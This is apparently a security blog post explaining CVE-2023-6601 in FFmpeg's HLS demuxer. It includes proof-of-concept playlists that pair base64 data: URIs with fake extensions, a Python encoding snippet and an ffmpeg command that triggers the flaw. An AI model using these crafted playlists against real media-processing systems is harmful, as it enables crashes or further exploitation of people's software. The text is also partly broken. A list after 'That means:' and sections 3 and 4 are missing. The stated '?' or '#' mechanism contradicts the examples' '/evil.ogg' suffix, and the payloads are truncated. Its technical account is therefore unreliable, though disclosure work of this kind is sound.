FFmpeg is the powerhouse behind many video and audio applications. It’s a multimedia framework used by browsers, editors, and streamers worldwide. But sometimes, even small bugs in big projects can lead to serious consequences. Enter CVE-2023-6601, a flaw discovered in FFmpeg’s HLS demuxer that could let attackers sneak past file extension checks—and possibly run malicious file handlers.
In this post, let’s break down how the bug works, why it’s dangerous, include sample code and links for further reading, and show you just how creative attackers can get with a single data URI and a file extension.
1. What is CVE-2023-6601?
In short:
When FFmpeg processes HLS (HTTP Live Streaming) playlists, it tries to ensure that only certain types of files can be demuxed (parsed). But, there was a logical flaw. By using a base64-encoded data URI with a targeted file extension (like .mp3, .mov, .ogg, etc.), an attacker could trick FFmpeg’s playlist parser into treating it as a real file—bypassing FFmpeg’s checks.
That means:
2. How Does the Exploit Work?
Let’s first understand how FFmpeg treats URIs and demuxers. FFmpeg generally checks file extensions from URLs or filenames to see whether it should process them. For instance, if you have a playlist with:
#EXTINF:10,
file1.mp3
FFmpeg sees the .mp3 and opens the MP3 demuxer.
But what if instead of a regular filename or URL, you hand it a base64 data URI?
By default, data: URIs don’t have extensions; FFmpeg usually ignores them. However, for HLS segments, it checks only the part *after* ? or #. This lets you *append* a fake extension and trick FFmpeg.
Suppose you craft a playlist (evil.m3u8) like so
#EXTM3U
#EXTINF:1,
data:audio/ogg;base64,T2dnUwACAAAAAAAAAABEVYAAAAAACoAAABwYXVkcmlwLwAAAgAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACNor//./evil.ogg
What happens?
The data: URI is a base64-encoded OGG header (truncated here for demo);
- The trailing .ogg fools FFmpeg into firing up the OGG demuxer on this in-memory data—even though it should never do so for data: streams.
Another Example:
#EXTM3U
#EXTINF:1,
data:video/mp4;base64,AAAAGGZeXBtcDQyAAAAAG1wNDFtcDQyaXNvb.../test.mp4
Again, you trick FFmpeg into playing the demuxer for a self-supplied, possibly evil file blob.
Step 1: Create a tiny MP3 file, encode as base64
import base64
with open('sample.mp3', 'rb') as f:
b64 = base64.b64encode(f.read()).decode()
# print('data:audio/mp3;base64,' + b64 + '/payload.mp3')
Step 2: Craft an HLS playlist
#EXTM3U
#EXTINF:3.,
data:audio/mp3;base64,SUQzAwAAAAAA.../payload.mp3
Step 3: Play with FFmpeg (may need up-to-date FFmpeg)
ffmpeg -protocol_whitelist "file,data,http,https,tcp,tls" -i evil.m3u8 output.wav
If vulnerable, FFmpeg will process the data URI as MP3 and decode as audio.
Trigger Arbitrary Demuxers: Any demuxer supported by FFmpeg could be forced to load.
- Memory Corruption: Bad demuxers + strange/corrupt data = risk of crashing or (rare, but possible) gaining code exec.
- Sandbox Escape/DoS: In chained attacks, processing unexpected formats can sometimes allow further exploitation.
If your application processes untrusted playlists or segment filenames from external parties, this is a real concern.
5. Patch & Mitigation
FFmpeg fixed the issue in this commit (diff).
The fix tightens the way segment filenames are sanitized and validated, checking the extension *before* the data URI trick can happen.
6. Original References & More Reading
- FFmpeg security advisory
- FFmpeg commit fixing CVE-2023-6601
- CVE Details entry
- Great Reddit discussion
7. Summary
- CVE-2023-6601 exploits an HLS demuxer flaw in FFmpeg using crafty data: URLs + fake file extensions.
- Attackers can bypass security checks and run arbitrary file handlers, risking security on all systems processing untrusted playlists.
Patch your FFmpeg, review your playlist sources, and keep an eye out for creative uses of data URIs.
Stay safe—and never trust playlist inputs you didn’t build yourself.
Questions? Comments? Did you find this useful? Let us know below!
Timeline
Published on: 01/06/2025 17:15:14 UTC